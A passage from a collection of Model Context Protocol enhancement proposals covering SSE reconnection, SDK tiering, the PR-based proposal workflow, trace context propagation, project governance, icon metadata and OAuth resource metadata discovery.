If a server disconnects, the client will interpret the disconnection the same as a network failure, and will attempt to reconnect. In order to prevent clients from reconnecting / polling excessively, the server SHOULD send an SSE event with a [`retry`](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=field%20name%20is%20%22retry%22) field indicating how long the client should wait before reconnecting. Clients MUST respect the `retry` field.
## Rationale
Servers may disconnect at will, avoiding long-running connections. Sending a `retry` field will prevent the client from hammering the server with inappropriate reconnection attempts.
## Backward Compatibility
* **New Client + Old Server**: No changes. No backward incompatibility.
* **Old Client + New Server**: Client should interpret an at-will disconnect the same as a network failure. `retry` field is part of the SSE standard. No backward incompatibility if client already implements proper SSE resuming logic.
## Additional Information
This SEP supersedes (in part) [SEP-1335](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1335).
# SEP-1730: SDKs Tiering System
Source: https://modelcontextprotocol.io/seps/1730-sdks-tiering-system
SDKs Tiering System
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1730 |
| **Title** | SDKs Tiering System |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-10-29 |
| **Author(s)** | Inna Harper, Felix Weinberger |
| **Sponsor** | None |
| **PR** | [#1730](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1730) |
***
## Abstract
This SEP proposes a tiering system for Model Context Protocol (MCP) SDKs to establish clear expectations for feature support, maintenance commitments, and quality standards. The system defines three tiers of SDK support with objective, measurable criteria for classification.
## Motivation
The MCP ecosystem needs SDK harmonization to help users make informed decisions. Users currently face challenges:
* **Feature Support Uncertainty**: No standardized way to know which SDKs support specific MCP features (OAuth, client/server/system features, like sampling, transports)
* **Maintenance Expectations**: Unclear commitment levels for bug fixes, security patches, and feature updates
* **Implementation Timelines**: No visibility into when SDKs will support new protocol versions and features
## Specification
### Tier Definitions
#### Tier 1: fully supported
SDKs in this tier provides full protocol implementation and is well supported
**Requirements:**
* **Feature complete and full support of the protocol**
* All conformance tests pass
* New protocol features before the new spec version release. (There is two week window between Release Candidate and the new protocol version release)
* **SDK maintenance**
* Acknowledge and triage issues within two business days
* Resolve security and critical bugs within seven days
* Stable release and SDK versioning clearly documented
* **Documentation**
* Comprehensive documentation with examples for all features
* Published dependency update policy
#### Tier 2: commitment to be fully supported
SDKs with established implementations actively working toward full protocol support.
**Requirements:**
* **Feature complete and full support of the protocol**
* 80% of conformance tests pass
* New protocol features implemented within six months
* **SDK maintenance**
* Active issue tracking and management
* At least one stable release
* **Documentation**
* Basic documentation covering core features
* Published dependency update policy
* **Commitment to move to Tier1**
* Published roadmap showing intent to achieve Tier 1 or, if SDK will remain in Tier 2 indefinitely, a transparent roadmap about the direction of the SDK and reasons for not being feature complete
#### Tier 3: Experimental
Early-stage or specialized SDKs exploring the protocol space.
**Characteristics:**
* No feature completeness guarantees
* No stable release requirement
* May focus on specific use cases or experimental features
* No timeline commitments for updates
* Suitable for niche implementations that may remain at this tier
### Conformance Testing
All SDKs must undergo conformance testing using protocol trace validation: for details see [Conformance Testing RFC (forthcoming)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1627). This SEP is not focusing on Conformance testing. For the initial version of tiering, we will go with the simplified version where we would have an Example server for each SDK and run simplified conformance tests against those.
```mermaid theme={null}
sequenceDiagram
participant SDK
participant Test Suite
participant Validator
Test Suite->>SDK: Execute test scenario
SDK->>Test Suite: Protocol messages
Test Suite->>Validator: Submit trace
Validator->>Test Suite: Compliance report
Test Suite->>SDK: Pass/Fail result
```
**Compliance Scoring:**
* SDKs receive a percentage score based on test results
* Scores can be displayed as badges (e.g., "90% MCP Compliant")
* Tier 1: 100% compliance required
* Tier 2: 80% compliance required
* Tier 3: No minimum requirement
### Tier Advancement Process
1. **Self-Assessment:** Maintainers evaluate their SDK against tier criteria
2. **Application:** Submit tier advancement request with evidence
3. **Review:** Community review period (2 weeks)
4. **Validation:** Automated conformance testing, github stats on issues
5. **Decision:** Tier assignment by MCP maintainers
### Tier Relegation Process
1. **Auto validation:**
1. compliance tests continuously not passing for four week for Tier 1
2. 20% of compliance tests continuously not passing for four week for Tier 2
2. Issues:
1. Issues are not addressed within two months
### Requirements matrix
| Feature | SDK A | SDK B | SDK C |
| :------------------------------------------------ | :------ | :------- | :----- |
| **Protocol Features support (Conformance tests)** | 85% | 60%% | 100% |
| **GitHub support stats** | 10 days | 100 days | 5 days |
| **Documentation (self reported)** | Good | Minimal | Good |
| **Tier (computed from above)** | Tier 2 | Tier 3 | Tier 1 |
## Rationale
### Why Three Tiers?
* **Tier 1** ensures users have well supported, fully-featured SDK
* **Tier 2** provides a clear pathway for improving SDKs
* **Tier 3** allows experimentation without creating barriers to entry
### Why Time-Based Commitments?
While the community raised concerns about rigid timelines, they provide:
* Clear expectations for users
* Measurable goals for maintainers
* Flexibility through tier progression
### Why Not Just Feature Matrices?
Feature matrices alone don't communicate:
* Maintenance commitment
* Quality standards
* Support expectations
The tiering system combines feature support with quality guarantees.
## Alternatives Considered
### 1. Feature Matrix Only
**Rejected because:** Doesn't communicate maintenance commitments or quality standards
### 2. Percentage-Based Scoring
**Rejected because:** Too granular and doesn't capture qualitative aspects like support
### 3. Properties-Based System
**Rejected because:** Multiple overlapping properties could confuse users
### 4. Latest Version Listing Only
**Rejected because:** Simply listing "supports MCP date" fails to capture critical information:
* Version support may be incomplete (e.g., supports \ except OAuth)
* No indication of maintenance commitment or issue response times
* Lacks information about security patch timelines
* Doesn't communicate dependency update policies
* Version numbers alone don't indicate production readiness
### 5. No Formal System
**Rejected because:** Current ad-hoc approach creates uncertainty for users
## Backward Compatibility
This proposal introduces a new classification system with no breaking changes:
* Existing SDKs continue to function
* Classification is opt-in initially
* Grace period for existing SDKs to achieve tier status
## Security Implications
* Tier 1 SDKs must address security issues within 7 days
* All tiers encouraged to follow security best practices
* Conformance tests include security validation
## Implementation Plan
* [ ] Finalize simplified conformance test suite - Nov 4, 2025
* [ ] SDK maintainers self-assess and apply for tiers - Nov 14, 2025
* [ ] Initial tier assignments - before the November spec release
* [ ] Implement full compliance tests
* [ ] Implement automatic issue tracking analysis for SDKs
## Community Impact
### SDK Maintainers
* Clear goals for improvement
* Recognition for quality implementations
* Structured pathway for advancement
### SDK Users
* Informed selection of SDKs
* Clear expectations for support
* Confidence in tier 1 implementations
### Ecosystem
* Improved overall SDK quality
* Standardized feature support
* Healthy competition between implementations
## References
* [SDK Maintainer Meeting Notes (#1648)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1648)
* [SDK Harmonization Goals (#1444)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1444)
* [Conformance Testing SEP (DRAFT)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1627)
## Appendix
### Simplified conformance tests
While we are working on a [comprehensive proposal for conformance testing](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1627) which will take some time to implement, we want to move forward with at least some automated way to check if SDK has a full set of features. We will start from Servers features set, as we have many more servers than clients and the vast majority of developers using SDKs are Server implementers.
The most straightforward approach is to have an Example Server for each SDK, similar to to [Everything Server](https://github.com/modelcontextprotocol/servers/tree/main/src/everything). Then we will have Conformance Test Client with all the test cases we want to be able to test, for example:
* execute “hello world” tool
* Get prompt
* Get completion
* Get resource template
* Receive notifications
**What is needed form SDKs maintainers:** implement everything server based on a spec. Spec will look like:
* Tool “say\_hello” to return simple text
* Tool “show\_image” to return and image
* Tool “tool\_with\_logging” to return structured output in a format \<> and log three events: start, process, end
* Tool "tool\_with\_notifications" to return structured output in a format \<> and have two notifications \<>
Given well defined spec for the server and SDK documentation, it should be easy to implement it with the help of any coding agent. We want to check it into each SDKs repo as it will serve as an example for server implementers.
Once each SDK has an Everything server, we will run the Conformance Test Client against it.
# SEP-1850: PR-Based SEP Workflow
Source: https://modelcontextprotocol.io/seps/1850-pr-based-sep-workflow
PR-Based SEP Workflow
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------------------------------------------ |
| **SEP** | 1850 |
| **Title** | PR-Based SEP Workflow |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2025-11-20 |
| **Accepted** | 2025-11-28, 8 Yes, 0 No, 0 Absent per vote in Discord. |
| **Author(s)** | Nick Cooper ([@nickcoai](https://github.com/nickcoai)), David Soria Parra ([@davidsp](https://github.com/davidsp)) |
| **Sponsor** | David Soria Parra ([@davidsp](https://github.com/davidsp)) |
| **PR** | [#1850](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1850) |
***
## Abstract
This SEP formalizes the pull request-based SEP workflow that stores proposals as markdown files in the `seps/` directory of the Model Context Protocol specification repository. The workflow assigns SEP numbers from pull request numbers, maintains version history in Git, and replaces the previous GitHub Issues-based process. This establishes a file-based approach as the canonical way to author, review, and accept SEPs.
## Motivation
The issue-based SEP process introduced several challenges:
* **Dispersed content**: Proposal content was scattered across GitHub issues, linked documents, and pull requests, making review and archival difficult.
* **Difficult collaboration**: Maintaining long-form specifications in issue bodies made iterative edits and multi-contributor collaboration harder.
* **Limited version control**: GitHub issues don't provide the same version control capabilities as Git-managed files.
* **Unclear status management**: The process lacked clear mechanisms for tracking status transitions and ensuring consistency between different sources of truth.
A file-based workflow addresses these issues by:
* Keeping every SEP in version control alongside the specification itself
* Providing Git's built-in review tooling, history, and searchability
* Linking SEP numbers to pull requests to eliminate manual bookkeeping
* Surfacing all discussion in the pull request thread
* Using PR labels in conjunction with file status for better discoverability
## Specification
### 1. Canonical Location
* Every SEP lives in `seps/{NUMBER}-{slug}.md` in the specification repository
* The SEP number is always the pull request number that introduces the SEP file
* The `seps/` directory serves as the single source of truth for all SEPs
### 2. Author Workflow
1. **Draft the proposal** in `seps/0000-{slug}.md` using `0000` as a placeholder number
2. **Open a pull request** containing the draft SEP and any supporting materials
3. **Request a sponsor** from the Maintainers list; tag potential sponsors from [MAINTAINERS.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md)
4. **After the PR number is known**, amend the commit to rename the file to `{PR-number}-{slug}.md` and update the header (`SEP-{PR-number}` and `PR: #{PR-number}`)
5. **Wait for sponsor assignment**: Once a sponsor agrees, they will assign themselves and update the status to `Draft`
### 3. Sponsor Responsibilities
A Sponsor is a Core Maintainer or Maintainer who champions the SEP through the review process. The sponsor's responsibilities include:
* **Reviewing the proposal** and providing constructive feedback
* **Requesting changes** based on community input
* **Managing status transitions** by:
* Ensuring that the `Status` field in the SEP markdown file is accurate
* Applying matching PR labels to keep them in sync with the file status
* Communicating status changes via PR comments
* **Initiating formal review** when the SEP is ready (moving from `Draft` to `In-Review`)
* **Raising to Core-Maintainers** ensuring the SEP is presented at the Core Maintainer meeting and that author and sponsor present.
* **Ensuring quality standards** are met before advancing the proposal
* **Tracking implementation** progress and ensuring reference implementations are complete before `Final` status
### 4. Review Flow
Status progression follows: `Draft → In-Review → Accepted → Final`
Additional terminal states: `Rejected`, `Withdrawn`, `Superseded`, `Dormant`
**Dormant status**: If a SEP does not find a sponsor within six months, Core Maintainers may close the PR and mark the SEP as `dormant`.
Reference implementations must be tracked via linked pull requests or issues and must be complete before marking a SEP as `Final`.
### 5. Documentation
* `docs/community/sep-guidelines.mdx` serves as the contributor-facing instructions
* `seps/README.md` provides the concise reference for formatting, naming, sponsor responsibilities, and acceptance criteria
* Both documents must reflect this workflow and be kept in sync
### 6. SEP File Structure
Each SEP must include:
```markdown theme={null}
# SEP-{NUMBER}: {Title}
- **Status**: Draft | In-Review | Accepted | Rejected | Withdrawn | Final | Superseded | Dormant
- **Type**: Standards Track | Informational | Process
- **Created**: YYYY-MM-DD
- **Author(s)**: Name (@github-username)
- **Sponsor**: @github-username (or "None" if seeking sponsor)
- **PR**: https://github.com/modelcontextprotocol/specification/pull/{NUMBER}
## Abstract
## Motivation
## Specification
## Rationale
## Backward Compatibility
## Security Implications
## Reference Implementation
```
### 7. Status Management via PR Labels
To improve discoverability and filtering:
* Sponsors must apply PR labels that match the SEP status (`draft`, `in-review`, `accepted`, `final`, etc.)
* Both the markdown `Status` field and PR labels should be kept in sync
* The markdown file serves as the canonical record (versioned with the proposal)
* PR labels enable easy filtering and searching for SEPs by status
* Only sponsors should modify status fields and labels; authors should request changes through their sponsor
### 8. Legacy Considerations
* Contributors may optionally open a GitHub Issue for early discussion, but the authoritative SEP text lives in `seps/`
* Issues should link to the relevant file once a pull request exists
* SEP numbers are derived from PR numbers, not issue numbers
## Rationale
### Why File-Based?
Storing SEPs as files keeps authoritative specs versioned with the code, mirroring successful processes used by PEPs (Python Enhancement Proposals) and other standards bodies. This approach:
* Provides built-in version control via Git
* Enables standard code review workflows
* Maintains clear history of all changes
* Supports multi-contributor collaboration
* Integrates naturally with the specification repository
### Why PR Numbers?
Using pull request numbers:
* Eliminates race conditions around manual numbering
* Creates natural traceability between proposal and discussion
* Prevents number conflicts
* Simplifies the contribution process
* Maintains a single discussion thread for review
### Why PR Labels?
Adding PR labels alongside the file status:
* Enables quick filtering of SEPs by status without opening files
* Provides immediate visibility of SEP states in PR lists
* Supports GitHub's search and filter capabilities
* Complements the canonical markdown status field
* Reduces friction for maintainers managing multiple SEPs
### Making This the Primary Process
Maintaining two overlapping canonical processes risked divergence and created confusion for contributors. Establishing the file-based approach as the primary method:
* Reduces cognitive overhead for new contributors
* Ensures consistency in the SEP corpus
* Simplifies maintenance for sponsors
* Aligns with industry best practices
## Backward Compatibility
* Existing issue-based SEPs remain valid and require no migration
* Historical GitHub Issue links continue to work
* Future SEPs should reference the new file locations in `seps/`
* Maintainers may optionally backfill historical SEPs into `seps/` for archival purposes
## Security Implications
No new security considerations beyond the standard code review process for pull requests.
## Reference Implementation
* This pull request (#1850) implements the canonical instructions in both `seps/README.md` and `docs/community/sep-guidelines.mdx`
* The process has been updated to reflect the PR-based workflow with status management via labels
* This SEP document itself serves as an example of the new format
# Vote
This SEP was accepted unanimously by the MCP Core Maintainers with a vote of 8 yes's, 0 no's and 0 absent votes on Friday December 28th, 2025 in a Discord poll.
# SEP-414: Document OpenTelemetry Trace Context Propagation Conventions
Source: https://modelcontextprotocol.io/seps/414-request-meta
Document OpenTelemetry Trace Context Propagation Conventions
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 414 |
| **Title** | Document OpenTelemetry Trace Context Propagation Conventions |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-04-25 |
| **Author(s)** | Adrian Cole ([@codefromthecrypt](https://github.com/codefromthecrypt)) |
| **Sponsor** | Marcelo Trylesinski ([@Kludex](https://github.com/Kludex)) |
| **PR** | [#414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414) |
***
## Abstract
This SEP documents conventions for OpenTelemetry (OTel) trace context propagation in MCP.
[OTel semantic conventions for MCP](https://github.com/open-telemetry/semantic-conventions/blob/e126ea9105b15912ccd80deab98929025189b696/docs/gen-ai/mcp.md#context-propagation)
specify using `_meta` as the carrier for W3C Trace Context keys. This is already in practice in the
C# SDK and other implementations.
This specification documents an exception to the DNS prefixing convention for keys in `_meta`.
This enables interoperability across existing and new implementations and serves as a foundation
for related SEPs (such as [SEP-2028](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2028)).
## Specification
This SEP adds documentation to the MCP specification, noting:
1. When OTel trace context is propagated via `_meta`, the keys `traceparent`, `tracestate`, and
`baggage` follow [W3C Trace Context](https://www.w3.org/TR/trace-context/) and
[W3C Baggage](https://www.w3.org/TR/baggage/) value formats.
2. A non-normative example showing trace context in `_meta`.
3. A note clarifying why this an exception to DNS prefixing keys in `_meta`: to remain
compatible with existing implementations and the OpenTelemetry semantic conventions.
See [agentclientprotocol/agent-client-protocol#297](https://github.com/agentclientprotocol/agent-client-protocol/pull/297)
for equivalent documentation changes in ACP.
### Non-normative example
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"_meta": {
"traceparent": "00-0af7651916cd43dd8448eb211c80319c-00f067aa0ba902b7-01"
}
}
}
```
## Rationale
### Why document this?
This is currently documented elsewhere, but not as an MCP specification. Doing so ensures that
SEPs depending on this pattern can complete, as well as other SDKs in and outside the MCP org
can as well, such as [Logfire](https://github.com/pydantic/logfire/blob/09232402fd7e268c667db59d1e9f890ed30f7850/logfire/_internal/integrations/mcp.py#L149-L162) and [ToolHive](https://github.com/stacklok/toolhive/issues/3399).
If we don't document this shared concern, differing interpretations could materialize, such
as namespacing traceparent like `io.modelcontextprotocol.traceparent`, which will break traces
and log correlation.
### Related SEPs
* [SEP-1788](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1788) - reserved
keys in `_meta`; should be updated with `traceparent`, `tracestate`, and `baggage` when this
SEP is implemented
* [SEP-2028](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2028) - builds on
this SEP for forwarding `_meta` values to HTTP headers
## Backward Compatibility
This SEP documents existing conventions and is backward compatible.
## Security Implications
Trace context in `_meta` may include correlation IDs. Implementations should follow existing
data-handling guidance appropriate to their environment.
## Reference Implementation
Existing implementations using this pattern:
* [C# SDK instrumentation](https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.Core/Diagnostics.cs)
* [Python SDK instrumentation](https://github.com/modelcontextprotocol/python-sdk/pull/1693)
* [OpenInference MCP instrumentation (Python)](https://github.com/Arize-ai/openinference/tree/main/python/instrumentation/openinference-instrumentation-mcp)
* [OpenInference MCP instrumentation (TypeScript)](https://github.com/Arize-ai/openinference/tree/main/js/packages/openinference-instrumentation-mcp)
* [Envoy AI Gateway](https://github.com/envoyproxy/ai-gateway/blob/6331b54aef81dd6c8d3d184acc4e2cb8167cea2a/internal/tracing/tracingapi/mcp.go)
* [Logfire](https://github.com/pydantic/logfire/blob/09232402fd7e268c667db59d1e9f890ed30f7850/logfire/_internal/integrations/mcp.py#L149-L162)
* [ToolHive](https://github.com/stacklok/toolhive/issues/3399)
# SEP-932: Model Context Protocol Governance
Source: https://modelcontextprotocol.io/seps/932-model-context-protocol-governance
Model Context Protocol Governance
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 932 |
| **Title** | Model Context Protocol Governance |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2025-07-08 |
| **Author(s)** | David Soria Parra |
| **Sponsor** | None |
| **PR** | [#931](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/931) |
***
## Abstract
This SEP establishes the formal governance model for the Model Context Protocol (MCP) project. It defines the organizational structure, decision-making processes, and contribution guidelines necessary for transparent and effective project stewardship. The proposal introduces a hierarchical governance structure with clear roles and responsibilities, along with the Specification Enhancement Proposal (SEP) process for managing protocol changes.
## Motivation
As the Model Context Protocol grows in adoption and complexity, the need for formal governance becomes critical. The current informal decision-making process lacks:
1. **Transparency**: Community members have no clear visibility into how decisions are made
2. **Participation Pathways**: Contributors lack defined ways to influence project direction
3. **Accountability**: No formal structure exists for resolving disputes or contentious issues
4. **Scalability**: Ad-hoc processes cannot scale with growing community and technical complexity
Without formal governance, the project risks:
* Fragmentation of the ecosystem
* Unclear or inconsistent technical decisions
* Reduced community trust and participation
* Inability to effectively manage contributions at scale
## Rationale
The proposed governance model draws inspiration from successful open source projects like Python, PyTorch, and Rust. Key design decisions include:
### Hierarchical Structure
We chose a hierarchical model (Contributors → Maintainers → Core Maintainers → Lead Maintainers) that is effectively how the project decisions are made today. From there we will continue to evolve governance in the best interest of the project.
### Individual vs Corporate Membership
Membership is explicitly tied to individuals rather than companies to:
* Ensure decisions prioritize protocol integrity over corporate interests
* Prevent capture by any single organization
* Maintain continuity when individuals change employers
### SEP Process
The Specification Enhancement Proposal process ensures:
* All protocol changes undergo thorough review
* Community input is systematically collected
* Design decisions are documented for posterity
* Implementation precedes finalization
## Specification
### Governance Structure
#### Contributors
* Any individual who files issues, submits pull requests, or participates in discussions
* No formal membership or approval required
#### Maintainers
* Responsible for specific components (SDKs, documentation, etc.)
* Appointed by Core Maintainers
* Have write/admin access to their repositories
* May establish component-specific processes
#### Core Maintainers
* Deep understanding of MCP specification required
* Responsible for protocol evolution and project direction
* Meet bi-weekly for decisions
* Can veto maintainer decisions by majority vote
* Current members listed in governance documentation
#### Lead Maintainers
* Justin Spahr-Summers and David Soria Parra
* Can veto any decision
* Appoint/remove Core Maintainers
* Admin access to all infrastructure
## Backwards Compatibility
N/A
## Reference Implementation
See #931
1. **Documentation Files**:
* `/docs/community/governance.mdx` - Full governance documentation
* `/docs/community/sep-guidelines.mdx` - SEP process guidelines
## Security Implications
N/A
# SEP-973: Expose additional metadata for Implementations, Resources, Tools and Prompts
Source: https://modelcontextprotocol.io/seps/973-expose-additional-metadata-for-implementations-res
Expose additional metadata for Implementations, Resources, Tools and Prompts
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 973 |
| **Title** | Expose additional metadata for Implementations, Resources, Tools and Prompts |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-15 |
| **Author(s)** | [@jesselumarie](https://github.com/jesselumarie) |
| **Sponsor** | None |
| **PR** | [#973](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/973) |
***
## Abstract
This SEP proposes adding two optional fields—`icons` and `websiteUrl`. The `icons` and `websiteUrl` would be added to the `Implementation` schema so that clients can visually identify third-party implementations and link directly to their documentation. The `icons` parameter will also be added to the `Tool`, `Resource` and `Prompt` schemas. While this can be used by both servers and clients for all implementations, we expect it to be used initially for server-provided implementations.
## Motivation
### Current State
Current implementations only expose namespaced metadata, forcing clients to display generic labels with no visual cues.
### Proposed State
The proposed implementation would allow us to add visual affordances and links to documentation, making it easier to visually identify which servers/clients are providing an implementation e.g. a tool in a slash command interface:
* **Visual Affordance:** Icons make it immediately clear to users which tool or resource source is in use.
* **Discoverability:** A link to documentation (`websiteUrl`) allows clients to direct users to more information with a single click.
## Rationale
This design builds on prior work in web manifests (MDN) and consolidates community feedback:
* **Consolidation of PRs:** Merges the changes from PR #417 and PR #862 into a single, cohesive enhancement.
* **Flexible Icon Sizes:** Supports multiple icon sizes (e.g., `48x48`, `96x96`, or `any` for vector formats) to accommodate different client UI needs.
* **Optional Fields:** By making both fields optional, existing implementations remain fully compatible.
## Specification
Extend the `Implementation` object as follows:
```typescript theme={null}
/**
* A url pointing to an icon URL or a base64-encoded data URI
*
* Clients that support rendering icons MUST support at least the following MIME types:
* - image/png - PNG images (safe, universal compatibility)
* - image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)
*
* Clients that support rendering icons SHOULD also support:
* - image/svg+xml - SVG images (scalable but requires security precautions)
* - image/webp - WebP images (modern, efficient format)
*/
export interface Icon {
/**
* A standard URI pointing to an icon resource.
*
* Consumers MUST takes steps to ensure URLs serving icons are from the
* same domain as the client/server or a trusted domain.
*
* Consumers MUST take appropriate precautions when consuming SVGs as they can contain
* executable JavaScript
*
* @format uri
*/
src: string;
/** Optional override if the server’s MIME type is missing or generic. */
mimeType?: string;
/** e.g. "48x48", "any" (for SVG), or "48x48 96x96" */
sizes?: string;
}
/**
* Describes the MCP implementation
*/
export interface Implementation extends BaseMetadata {
version: string;
/**
* An optional list of icons for this implementation.
* This can be used by clients to display the implementation in a user interface.
* Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property.
* The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml".
* The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG.
* The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size.
*/
icons?: Icon[];
/**
* An optional URL of the website for this implementation.
*
* Consumers MUST takes steps to ensure URLs serving icons are from the
* same domain as the client/server or a trusted domain.
*
* Consumers MUST take appropriate precautions when consuming SVGs as they can contain
* executable JavaScript
*
* @format: uri
*/
websiteUrl?: string;
}
```
Extend the `Tool`, `Resource` and `Prompt` interfaces with the following type:
```typescript theme={null}
/**
* An optional list of icons for a resource.
* This can be used by clients to display the resource's icon in a user interface.
* Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property.
* The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml".
* The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG.
* The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size.
*/
icons?: Icon[];
```
## Backwards Compatibility
Both icons and websiteUrl are optional fields; clients that ignore them will fall back to existing behavior.
## Security Implications
This shouldn't introduce any new security implications.
# SEP-985: Align OAuth 2.0 Protected Resource Metadata with RFC 9728
Source: https://modelcontextprotocol.io/seps/985-align-oauth-20-protected-resource-metadata-with-rf
Align OAuth 2.0 Protected Resource Metadata with RFC 9728
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------- |
| **SEP** | 985 |
| **Title** | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-07-16 |
| **Author(s)** | sunishsheth2009 |
| **Sponsor** | None |
| **PR** | [#985](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/985) |
***
## Abstract
This proposal brings the MCP spec's handling of OAuth 2.0 Protected Resource Metadata in line with [RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728#name-obtaining-protected-resourc).
Currently, the MCP spec requires the use of the HTTP WWW-Authenticate header when returning a 401 Unauthorized to indicate the location of the protected resource metadata. However, [RFC 9728, Section 5](https://datatracker.ietf.org/doc/html/rfc9728#section-5) states:
“A protected resource MAY use the WWW-Authenticate HTTP response header field, as discussed in RFC 9110, to return a URL to its protected resource metadata to the client.”
This suggests that the MCP spec could be made more flexible while still maintaining RFC compliance.
## Rationale
Many large-scale, dynamic, multi-tenant environments rely on a centralized authentication service separate from the backend resource servers. In such deployments, injecting WWW-Authenticate headers from backend services is non-trivial due to separation of concerns and infrastructure complexity.
In these scenarios, having the option to discover metadata via a well-known URL provides a practical path forward for easier MCP adoption. Requiring only the header would impose significant communication overhead between components, especially when hundreds or thousands of MCP instances are created and destroyed dynamically. Also if there are specific managed MCP servers, adopting headers across centralized system would add significant overhead.
While this increases complexity for clients—who must now implement logic to probe metadata endpoints—it reduces friction for server deployments and may encourage broader adoption. There are tradeoffs:
Pros for Server Developers: Avoid complex header injection; simplifies integration in distributed environments.
Cons for Client Developers: Clients must fall back to metadata discovery logic when the header is absent, increasing client complexity.
## Proposed State
Update the MCP spec to:
```
Clients MUST interpret the WWW-Authenticate header, and fallback to probing for metadata if not present.
Servers SHOULD return the WWW-Authenticate header
```
**The reason for deviating a bit on the RFC:**
Go with SHOULD over MAY for WWW-Authenticate is that it makes supporting other features, such as incremental authorization easier (e.g. you make a request for a tool, but need additional scopes, and receive a WWW-Authenticate challenge indicating the scopes).
Based on the above, following the updated flow:
* Attempt the MCP request without a token.
* If a 401 Unauthorized response is received: Check for a WWW-Authenticate header. If present and includes the resource\_metadata parameter, use it to locate the resource metadata.
* If the header is absent or does not include resource\_metadata, fallback to requesting /.well-known/oauth-protected-resource.
This change allows more flexible deployment models without removing existing capabilities.
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant M as MCP Server (Resource Server)
participant A as Authorization Server
Note over C: Attempt unauthenticated MCP request
C->>M: MCP request without token
M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header)
alt Header includes resource_metadata
Note over C: Extract resource_metadata URL from header
C->>M: GET resource_metadata URI
M-->>C: Resource metadata with authorization server URL
else No resource_metadata in header
Note over C: Fallback to metadata probing
C->>M: GET /.well-known/oauth-protected-resource
alt Metadata found
M-->>C: Resource metadata with authorization server URL
else Metadata not found
Note over C: Abort or use pre-configured values
end
end
Note over C: Validate RS metadata, build AS metadata URL
C->>A: GET /.well-known/oauth-authorization-server
A-->>C: Authorization server metadata
Note over C,A: OAuth 2.1 authorization flow happens here
C->>A: Token request
A-->>C: Access token
C->>M: MCP request with access token
M-->>C: MCP response
Note over C,M: MCP communication continues with valid token
```
## Backward Compatibility
This proposal is fully backward-compatible.
It retains support for the WWW-Authenticate header (already in the spec) and introduces a fallback mechanism using the .well-known metadata path, which is already defined in MCP as a MUST-support location.
Clients that already support metadata probing benefit from improved interoperability. Servers are not required to emit the WWW-Authenticate header if it is infeasible, but doing so is still encouraged to reduce client complexity and enable future extensibility.
# SEP-986: Specify Format for Tool Names
Source: https://modelcontextprotocol.io/seps/986-specify-format-for-tool-names
Specify Format for Tool Names
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
